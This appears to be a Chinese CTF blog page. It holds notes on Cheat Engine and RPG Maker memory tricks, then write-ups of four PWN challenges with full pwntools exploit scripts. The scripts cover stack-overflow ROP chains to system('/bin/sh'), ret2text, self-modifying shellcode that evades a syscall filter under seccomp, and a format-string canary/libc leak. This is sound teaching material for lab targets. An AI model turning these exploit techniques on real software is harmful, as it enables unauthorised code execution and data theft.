CTF on Vortex's Blog

笔记：Cheat Engine 基础整理

Wed, 23 Sep 2026 14:20:00 +0800

概述

Cheat Engine 简称 CE，是一款非常著名的开源内存扫描工具、十六进制编辑器和调试器。它由 Eric Heijnen（网名 Dark Byte）开发，主要用于修改单机电脑游戏中的数据，但也广泛应用于软件逆向工程、调试和安全测试。

1. 核心工作原理

游戏或软件在运行时，会将数据（如玩家的生命值、金钱、弹药量等）临时存储在电脑的内存（RAM）中。Cheat Engine 的核心功能就是读取和修改这些内存数据。

扫描与筛选：假设你在游戏中拥有 100 枚金币。你可以在 CE 中搜索数字“100”。CE 会在内存中找出成千上万个值为 100 的地址。接着，你在游戏里花掉一些金币，剩下 85 枚。你再在 CE 中搜索“85”，CE 就会在刚才的搜索结果中筛选出变化为 85 的地址。重复几次后，你就能精确定位到控制金币数量的那个唯一内存地址。
修改与锁定：找到地址后，你可以把 85 改成 999999，游戏里的金币就会瞬间暴涨。你还可以将其“锁定（Freeze）”，这样即使游戏试图扣除金币，数值也会保持不变（实现无限金钱或无敌）。

2. 主要功能

除了基础的数值修改，CE 还是一个功能强大的底层分析工具：

内存扫描器 (Memory Scanner)：支持各种数据类型（整数、浮点数、字符串等），也支持“未知初始值”扫描（比如游戏里只显示血条没有具体数字时，可以通过血量“减少”或“增加”来进行模糊搜索）。
调试器 (Debugger)：可以找出是哪些程序代码（汇编指令）在读取或写入你找到的内存地址。这对于制作高级修改脚本至关重要。
变速齿轮 (Speedhack)：可以加快或减慢目标程序的运行速度。常用来跳过漫长的游戏过场动画，或者在动作游戏中放慢速度以完成高难度操作。
指针扫描 (Pointer Scanner)：现代操作系统和游戏为了安全，每次启动时数据的内存地址都会发生变化（动态内存分配）。指针扫描可以帮助用户找到固定的“基址（Base Address）”，从而制作出每次启动游戏都能直接使用的修改器（Trainer）。
脚本引擎 (Auto Assembler & Lua)：允许高级用户编写汇编脚本或 Lua 脚本，实现更复杂的逻辑修改，甚至打包生成独立的修改器（.exe 文件）分享给别人。

3. 应用场景

单机游戏修改：这是最常见的用途，玩家用来降低游戏难度、跳过重复刷怪（肝）的过程。
软件逆向工程：程序员和安全研究人员使用 CE 来分析未知软件的内部运作机制。
学习汇编语言与计算机基础：CE 自带了一个包含多个关卡的“闯关教程（Tutorial）”，非常适合新手通过实践来学习内存结构、指针、汇编语言等计算机底层知识。

拓展

RPG Maker

中文常译为 RPG 制作大师，是由日本 Enterbrain（现为角川集团旗下）开发的一系列**“低代码/无代码”游戏引擎**

初衷：让完全不懂编程的人，也能做出属于自己的王道 JRPG，它自带了海量的地图图块、音乐、战斗系统，你只需要像“搭积木”一样把它们拼起来。

虽然门槛极低，但它却诞生了无数神作，比如：

催泪神作： 《去月球 (To the Moon)》、《寻找天堂》
心理恐怖/微恐解谜： 《Omori》、《恐怖美术馆 (Ib)》、《青鬼》、《杀戮的天使》、《魔女之家》、《尸体派对》

CTF 中应用

考点 A：Ruby 语言的内存奇葩机制

在搜内存时，往往需要把数字**“乘 2 加 1”**，你肯定觉得很奇怪，为什么不直接存数字，而非要存这样的式子？

因为对于 RPG Maker VX Ace，它的底层脚本语言是 Ruby。比如，在 C 语言或 C++ 里，数字 600 在内存里就是 600（二进制 0000 0258）。但在 Ruby 语言里，“万物皆对象”。为了在内存中区分“这是一个对象指针”还是“这是一个极小的整数（Fixnum）”，Ruby 的底层引擎做了一个极客的设定：

它把整数向左移动 1 位（相当于乘 2）
然后把二进制的最后一位强制标记为 1（相当于加 1）
当系统读取到一个内存地址，发现最后一位是 1 时，它就知道：“哦，这不是个指针，这是个整数，我把它减去 1 再除以 2 就能得到真实的数字了。”

这就是为什么在 XP、VX、VX Ace 版本的 RM 游戏里，用 CE 永远搜不到面板数字的真相！这就叫逆向工程中的“数据结构识别”！

考点 B：极其死板的逻辑控制（事件、开关、变量）

RM 游戏没有复杂的物理引擎，它的世界运转全靠三个东西：

开关 (Switches)： 只有 True 和 False。比如开关001：宝箱是否打开、开关002：BOSS 是否死亡。
变量 (Variables)： 存放整数。比如变量001：收集到的硬币数、变量002：好感度。
事件 (Events)： 地图上的 NPC、宝箱、门，全叫事件。

在更高级的 CTF 题中，出题人会把 FLAG 藏在某个事件里，并设置条件：只有当变量051 == 9999 且开关008 为 True 时，NPC 才会把 FLAG 告诉你。这时候，用 CE 动态改内存，或者用存档编辑器直接改变量，就成了破局的钥匙。

考点 C：伪加密与解包 (Unpacking)

比如说 Game.rgss3a 文件，是 RM 游戏的“加密包”，里面打包了所有的图片、音乐和核心代码脚本。这种加密非常薄弱。在逆向安全领域，有很多开源工具（比如 RPGMakerDecrypter）可以一键把这个 .rgss3a 文件解包。解包后，你可以直接拿到游戏的源代码。很多 CTF 选手甚至懒得打开游戏，直接用文本编辑器搜索解包后的源代码，三秒钟就能找到写在代码里的 FLAG！

奶龙杯比赛 WP 汇总

Sun, 16 Aug 2026 21:00:14 +0800

奶龙杯 - 复仇奶龙已归来(PWN)

1. 题目概述

不愧是复仇奶龙归来！！！！！！！

题目类型：Binary Exploitation (PWN / Static Link / ROP)
解题关键：识别 rsync 干扰项 + 静态链接下的 ROP 链构造 + 64位栈平坦化对齐（pop rdi ; pop rbp ; ret）。

2. 保护机制与程序分析

2.1 Checksec / 静态分析

对可执行文件进行分析：

Arch：amd64-64-little (x86_64)
Link Style：Statically linked（静态链接，所有 glibc 代码已直接嵌入二进制文件）
PIE：No PIE (0x400000 固定基址)
NX：NX enabled（栈不可执行）

2.2 代码分析与漏洞定位

IDA 查看反编译代码：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20


__int64 vulnerable()
{
 _BYTE v1[256]; // [rsp+0h] [rbp-100h] BYREF

 puts("Welcome to the archive terminal.");
 puts("Enter your access phrase:");
 read(0LL, v1, 512LL); // <--- 栈溢出漏洞点
 return puts("Access denied.");
}

void __noreturn win()
{
 if ( (unsigned int)system((__int64)"/challenge/start.sh") == -1 )
 {
 perror("system");
 exit(1);
 }
 puts("[stage 1 complete] /challenge/start.sh executed; rsync is ready on port 8731.");
 exit(0);
}

漏洞分析：v1 数组分配空间为 256 字节（0x100），但 read 允许读取 512 字节（0x200），存在极其明显的栈缓冲区溢出。

偏移计算：覆盖至返回地址所需的 Padding 为

1

256 (v1)+8 (Saved RBP)=264 字节 (0x108)256 (v1)+8 (Saved RBP)=264 字节 (0x108)

3. 陷阱与干扰项排查 (The “rsync” Red Herring)

题目看起来设计了双阶段（Multi-Stage）：

溢出跳转到 win()，运行 /challenge/start.sh 并启动 rsync 服务。
通过第二个端口连接 rsync 服务，利用 rsync 提取 Flag。

为什么 rsync 无法拿到 Flag？

查看 start.sh 与 rsync.conf 源码：

start.sh 执行了：

1
2
3


echo -n "$INSERT_FLAG" > /flag
chown root:root /flag
chmod 400 /flag

rsync.conf 配置了：
1 2 3

[public] uid = 1000 gid = 1000

原因：rsync 守护进程强制以普通用户（uid 1000）运行，而 /flag 被设置为 400（仅 root 可读）。哪怕利用 use chroot = no 进行路径穿越，Linux 内核也会因权限不足拒绝 uid 1000 读取文件。

一开始尝试第一阶段把的端口连上，然后去尝试打通 [stage 1 complete] /challenge/start.sh executed; rsync is ready on port 8731. 后台的 rsync 服务已经顺畅启动，然后想着直接去远端拉flag，但试了好久，就是不成功，原来是flag的权限写死了qwq 。。。。

突破点：第一阶段 PWN 进程是以拥有最高权限的上下文运行的。因此直接放弃 rsync，在第一阶段构造 ROP 链获取 Shell 才是真正解法。

4. 漏洞利用逻辑

由于程序为静态链接，程序内已嵌入完整的 glibc 符号和字符串：

字符串：使用 strings 查找到程序中内置的 “/bin/sh” 字符串地址为 0x488599。
函数：直接获取 system 函数符号地址为 0x405210。

Gadget 精准匹配：使用 ROPgadget 检索指令：

1

0x0000000000402348 : pop rdi ; pop rbp ; ret

64 位栈平坦化对齐推导：

64 位 Linux 下调用 system 必须满足 RSP 为 16 字节对齐：

溢出 264 字节覆盖返回地址后，RSP 处于 0 mod 16 状态。
执行 pop rdi ; pop rbp ; ret Gadget 时，会连续从栈中弹出 2 个 8 字节数据（rdi 与 rbp），共弹出 16 字节。
执行完毕跳转到 system 瞬间，RSP 刚好天然维持 16 字节对齐！因此无需插入额外的 ret gadget。

5. 完整脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26


from pwn import *

context.arch = 'amd64'
context.os = 'linux'

elf = ELF('./ret2text1')
p = remote('challenge.cyclens.tech', 30445)

pop_rdi_rbp = 0x402348 
system_addr = 0x405210 
bin_sh = 0x488599 

log.info(f"pop rdi ; pop rbp : {hex(pop_rdi_rbp)}")
log.info(f"system : {hex(system_addr)}")
log.info(f"/bin/sh : {hex(bin_sh)}")

p.recvuntil(b"Enter your access phrase:\n")

payload = b'a' * 264
payload += p64(pop_rdi_rbp) 
payload += p64(bin_sh) 
payload += p64(0) 
payload += p64(system_addr) 

p.sendline(payload)
p.interactive()

6. 提权与获取 Flag

运行 Exploit 成功取得交互式 Shell：

7. 总结

防范迷局：在 CTF 中遇到复杂的多阶段（如结合 rsync/ftp 等）设计时，先检查权限链（uid vs file permissions），避免被非必要的第二阶段拖住。
静态链接技巧：静态链接的 ELF 文件内部藏有丰富的汇编 Gadget 和字符串资源（如 “/bin/sh”），无需依赖 libc 泄露。
栈平坦化分析：在 64 位 ROP 链编写中，必须精确计算每一个 pop 指令对 RSP 栈指针移动的影响，确保跳入 system 时满足 16 字节对齐。

奶龙杯 - ret2text（PWN）

1.题目概述

看看保护机制

可以知道开了Canary，NX保护

通过IDA反汇编可以看出

这里存在栈溢出，写入buf的字节数超过它的容量

找到个后门函数

综上，这就是道ret2text！！！

2.脚本

直接写脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32


from pwn import *
import time

context.arch = "amd64"
context.os = "linux"
context.log_level = "debug"

elf = ELF("./ret2text")
win_addr = elf.sym['admin_shell']

rop = ROP(elf)
ret_gadget = rop.find_gadget(['ret'])[0]

def conn():
 if args.REMOTE:
 host = "challenge.cyclens.tech"
 port = 31706
 return remote(host, port)
 else:
 return process("./ret2text")

def exploit(io):
 io.recvuntil(b"Submit your signed access token.\n")
 
 payload = b'b' * 56 + p64(ret)+ p64(win_addr)
 
 io.sendline(payload)
 io.interactive()

if __name__ == '__main__':
 io = conn()
 exploit(io)

最开始直接用的这份脚本，发现本地能通，但是打远端发现通不了

仔细分析，看了看日志，看日志中的这一行：

1
2


[DEBUG] Received 0x17 bytes:
 b'[-] signature rejected\n'

这是 sign_in() 函数最后一行的 return puts("[-] signature rejected"); 打印出来的。

这说明：Payload 已经成功写进了缓冲区，程序正常执行完 puts，准备在函数返回（执行 ret 指令）时跳转！

挂在后面的 Got EOF while reading in interactive，说明程序在跳转到 admin_shell 或执行 system("/bin/sh") 的瞬间崩溃掉了。

意思就是栈对齐的方式反了，加了ret反而打破了栈对齐，所以我们直接采用这种方式

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32


from pwn import *
import time

context.arch = "amd64"
context.os = "linux"
context.log_level = "debug"

elf = ELF("./ret2text")
win_addr = elf.sym['admin_shell']

rop = ROP(elf)
ret_gadget = rop.find_gadget(['ret'])[0]

def conn():
 if args.REMOTE:
 host = "challenge.cyclens.tech"
 port = 31706
 return remote(host, port)
 else:
 return process("./ret2text")

def exploit(io):
 io.recvuntil(b"Submit your signed access token.\n")
 
 payload = b'b' * 56 + p64(win_addr+1)
 
 io.sendline(payload)
 io.interactive()

if __name__ == '__main__':
 io = conn()
 exploit(io)

拿到flag！！！

奶龙杯 - BabySandbox (PWN)

1. 题目概述

题目类型：Binary Exploitation (PWN / Shellcode / Seccomp)
解题关键：RWX 内存利用 + 自修改代码（Self-Modifying Code）绕过 syscall 静态检测 + ORW（openat->

read-> write）沙箱绕过。

保护机制

2. 代码与漏洞分析

反编译 main 函数核心代码如下：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21


buf_2 = (char *)mmap(0LL, 0x1000uLL, 7, 34, -1, 0LL); // 分配 RWX 权限内存
...
v5 = read(0, buf, 0x100uLL); // 最多读取 256 字节 Shellcode

if ( v5 != 1 )
{
 do
 {
 if ( *buf_1 == 15 && buf_1[1] == 5 ) // 检查 0x0F 0x05 (syscall)
 {
 puts("No syscall allowed in shellcode!");
 exit(1);
 }
 ++buf_1;
 }
 while ( buf_1 != &buf[v5 - 1] );
}

puts("Applying seccomp sandbox...");
init_sandbox();
((void (*)(void))buf)(); // 跳转执行 Shellcode

关键特点分析：

RWX 权限：mmap 的保护标记设置为 7（PROT_READ | PROT_WRITE | PROT_EXEC），即可读、可写、可执行。这允许 Shellcode 在运行阶段修改自身代码数据。
静态字节过滤：程序对输入的机器码逐字节扫描，禁止出现连续的 \x0f\x05（即 x86_64 汇编中的 syscall 机器码）。
沙箱限制：开启 seccomp 保护后直接执行 Shellcode。

3. 沙箱分析

使用 seccomp-tools dump 获取沙箱规则：

1
2
3
4
5
6


0004: 0x15 0x04 0x00 0x00000101 if (A == openat) goto 0009
 0005: 0x15 0x03 0x00 0x00000000 if (A == read) goto 0009
 0006: 0x15 0x02 0x00 0x00000001 if (A == write) goto 0009
 0007: 0x15 0x01 0x00 0x0000003c if (A == exit) goto 0009
 0008: 0x06 0x00 0x00 0x00000000 return KILL
 0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW

结论：
- 沙箱开启了黑名单机制，仅允许使用 openat (257), read (0), write (1), exit (60)。
- 传统的 execve 和 open 被禁用，需构造 ORW 链读取 /flag。

4. 漏洞利用思路

1) 绕过 \x0f\x05 静态扫描 (自修改代码)

由于写入的内存具有可写可执行权限，我们在汇编中先写入非 syscall 字节（如 .byte 0x0e, 0x05），并在该字节前插入一条指令：

1
2


inc byte ptr [rip] ; 将紧随其后的 0x0e 加 1，变成 0x0f
.byte 0x0e, 0x05 ; 运行到此处时已被修正为 0x0f 0x05 (即 syscall)

这样不仅能完美通过程序的静态 \x0f\x05 检视，也能在 CPU 执行到该位置时恢复为正确的 syscall。

2) 构造 ORW 读取 Flag

依次调用三条系统调用：

openat(AT_FDCWD, “/flag”, O_RDONLY, 0)
- rax = 257
- rdi = -100 (AT_FDCWD)
- rsi = 指向 “/flag” 字符串的地址
- rdx = 0
read(fd, rsp, 0x100)
- rax = 0
- rdi = openat 返回的 fd
- rsi = rsp (借助栈内存作为缓冲区)
- rdx = 0x100
write(1, rsp, 0x100)
- rax = 1
- rdi = 1 (stdout)
- rsi = rsp
- rdx = 0x100

5. 完整脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48


#!/usr/bin/env python3
from pwn import *

context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'debug'

shellcode_asm = """
#define SAFE_SYSCALL \
 inc byte ptr [rip]; \
 .byte 0x0e, 0x05

mov rax, 257 
mov rdi, -100 
lea rsi, [rip + flag_str] 
xor rdx, rdx 
xor r10, r10 
SAFE_SYSCALL

mov rdi, rax 
mov rsi, rsp 
mov rdx, 0x100 
xor rax, rax 
SAFE_SYSCALL

mov rdi, 1 
mov rsi, rsp 
mov rdx, 0x100 
mov rax, 1 
SAFE_SYSCALL

flag_str:
 .string "/flag" 
"""

payload = asm(shellcode_asm)

if b'\x0f\x05' in payload:
 log.error("Payload 仍存在 0x0f 0x05，检测未通过！")
else:
 log.success("已成功绕过 0x0f 0x05 静态检测！")

# p = process('./chal')
p = remote('challenge.cyclens.tech', 30800)

p.sendlineafter(b"max 0x100 bytes): ", payload)

p.interactive()

拿到flag

1

flag{4awqcpzt-fwul-4us-8y9a-qxzfzhoay3nxx}

6. 总结

本题考察了在 RWX 权限 条件下巧妙使用 自修改代码（Self-Modifying Code） 的防检测技巧。
面对 seccomp 禁用 execve 和 open 的环境，灵活利用替代系统调用（如 openat）构造 ORW 链是解题核心。

奶龙杯- ezpwn(PWN)

1. 题目概述

解题关键：格式化字符串漏洞（泄露 Canary & Libc） + 栈溢出漏洞（ROP 劫持控制流）

2. 保护机制检查 (Checksec)

根据动态分析与反编译结果：

Canary：开启（栈保护已启用，__readfsqword(0x28u)）
NX：开启（栈不可执行）
PIE：未开启 / 固定代码段加载基址
Arch：amd64 (64-bit Linux)

3. 漏洞分析

漏洞点 1：feedback() 函数中的格式化字符串漏洞

反编译代码片段：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


unsigned __int64 feedback()
{
 char buf[40];
 ...
 read(0, buf, 0x1FuLL);
 buf[31] = 0;
 printf("Your comment: ");
 printf(buf); // <--- 格式化字符串漏洞
 return ...
}

分析：程序将用户输入的 buf 直接作为 printf 的第一个参数传入，而没有使用 printf("%s", buf)。

利用：由于输入的字节数限制在 31 字节内，无法直接构造长 Payload 进行任意写入，但足以利用 %x$p 格式化占位符泄露栈上的敏感信息（Canary 与 Libc 返回地址）。

漏洞点 2：query() 函数中的栈溢出漏洞

反编译代码片段：

1
2
3
4
5
6
7


unsigned __int64 query()
{
 char buf[40]; // 缓冲区大小为 40 字节 (0x28)
 ...
 read(0, buf, 0x100uLL); // <--- 栈溢出漏洞
 ...
}

分析：buf 的实际分配空间仅为 40（0x28）字节，但 read 允许读取最大 256（0x100）字节，存在非常明显的栈溢出漏洞。
利用：在已知 Canary 的前提下，可通过溢出填充 Canary，进而覆盖 Saved RBP 与返回地址，构造 ROP 链调用 system("/bin/sh")。

4. 漏洞利用思路 (Exploit Strategy)

确定格式化字符串偏移：
- 输入 AAAA.%p.%p… 在 GDB 中调试，确定输入缓冲区的起始偏移为 %6$p。
- 计算栈结构：buf 占 40 字节（5 个 8 字节单元），故 Canary 位于 %11$p（6 + 5）。
- 继续定位栈深处的 Libc 返回地址，确定其位于 %17$p。
泄露内存地址与计算 Libc 基址：
- 运行 Option 1 (feedback)，发送 Payload %11$p.%17$p。
- 解析输出得到 Canary 以及 Libc Leak 地址。
- 通过 GDB 的 vmmap 计算得出相对偏移：
  1
  
  libc_base=libc_leak−0x2a1calibc_base=libc_leak−0x2a1ca
构造 ROP 链 Getshell：
- 运行 Option 2 (query)，构造栈溢出 Payload：
  - Padding（40 字节 A）
  - Canary（8 字节泄露出的正确值）
  - Saved RBP（8 字节 B）
  - ret gadget（8 字节，用于 64 位 Ubuntu 的 16 字节栈平坦化对齐）
  - pop rdi; ret + “/bin/sh” 地址 + system 地址
- 发送 Payload，劫持控制流成功获取 Shell。

5. 完整脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53


from pwn import *

context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

elf = ELF('./vuln')
libc = ELF('./libc.so.6')

host = 'challenge.cyclens.tech'
port = 30554
p = remote(host, port)

p.sendlineafter(b"> ", b"1")

payload_leak = b"%11$p.%17$p"
p.sendlineafter(b"Leave a comment: ", payload_leak)

p.recvuntil(b"Your comment: ")
leak_data = p.recvline().strip().split(b".")

canary = int(leak_data[0], 16)
libc_leak = int(leak_data[1], 16)

log.success(f"Leaked Canary : {hex(canary)}")
log.success(f"Leaked Libc Leak : {hex(libc_leak)}")
libc.address = libc_leak - 0x2a1ca
log.success(f"Libc Base Address: {hex(libc.address)}")

system_addr = libc.symbols['system']
bin_sh_addr = next(libc.search(b'/bin/sh\x00'))

rop = ROP(libc)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
ret_gadget = rop.find_gadget(['ret'])[0] 

log.info(f"pop rdi : {hex(pop_rdi)}")
log.info(f"system : {hex(system_addr)}")
log.info(f"/bin/sh : {hex(bin_sh_addr)}")

p.sendlineafter(b"> ", b"2")

payload_bof = b"A" * 40
payload_bof += p64(canary)
payload_bof += b"B" * 8

payload_bof += p64(ret_gadget) 
payload_bof += p64(pop_rdi)
payload_bof += p64(bin_sh_addr)
payload_bof += p64(system_addr)

p.sendlineafter(b"Enter query: ", payload_bof)

p.interactive()

6. 总结

本题是一道非常经典的 “格式化字符串信息泄露 + 栈溢出 ROP” 组合题。

关键点在于先利用短小无污染的格式化字符串泄露出动态保护机制（Canary 和 ASLR 中的 Libc 地址）。
在构造 64 位 ROP 链时，注意 Ubuntu 系统下 glibc system 调用时的 16 字节栈对齐要求（通过额外添加 ret 指令解决）。

若文中有理解不深、表述欠妥之处，欢迎各路师傅指正交流。

CTF on Vortex's Blog

笔记：Cheat Engine 基础整理

概述

1. 核心工作原理

2. 主要功能

3. 应用场景

拓展

RPG Maker

CTF 中应用

考点 A：Ruby 语言的内存奇葩机制

考点 B：极其死板的逻辑控制（事件、开关、变量）

考点 C：伪加密与解包 (Unpacking)

奶龙杯比赛 WP 汇总

奶龙杯 - 复仇奶龙已归来(PWN)

1. 题目概述

2. 保护机制与程序分析

2.1 Checksec / 静态分析

2.2 代码分析与漏洞定位

3. 陷阱与干扰项排查 (The “rsync” Red Herring)

为什么 rsync 无法拿到 Flag？

4. 漏洞利用逻辑

64 位栈平坦化对齐 推导：

5. 完整脚本

6. 提权与获取 Flag

7. 总结

奶龙杯 - ret2text（PWN）

1.题目概述

2.脚本

奶龙杯 - BabySandbox (PWN)

1. 题目概述

2. 代码与漏洞分析

关键特点分析：

3. 沙箱分析

4. 漏洞利用思路

1) 绕过 \x0f\x05 静态扫描 (自修改代码)

2) 构造 ORW 读取 Flag

5. 完整脚本

6. 总结

奶龙杯- ezpwn(PWN)

1. 题目概述

2. 保护机制检查 (Checksec)

3. 漏洞分析

漏洞点 1：feedback() 函数中的格式化字符串漏洞

漏洞点 2：query() 函数中的栈溢出漏洞

4. 漏洞利用思路 (Exploit Strategy)

5. 完整脚本

6. 总结

64 位栈平坦化对齐推导：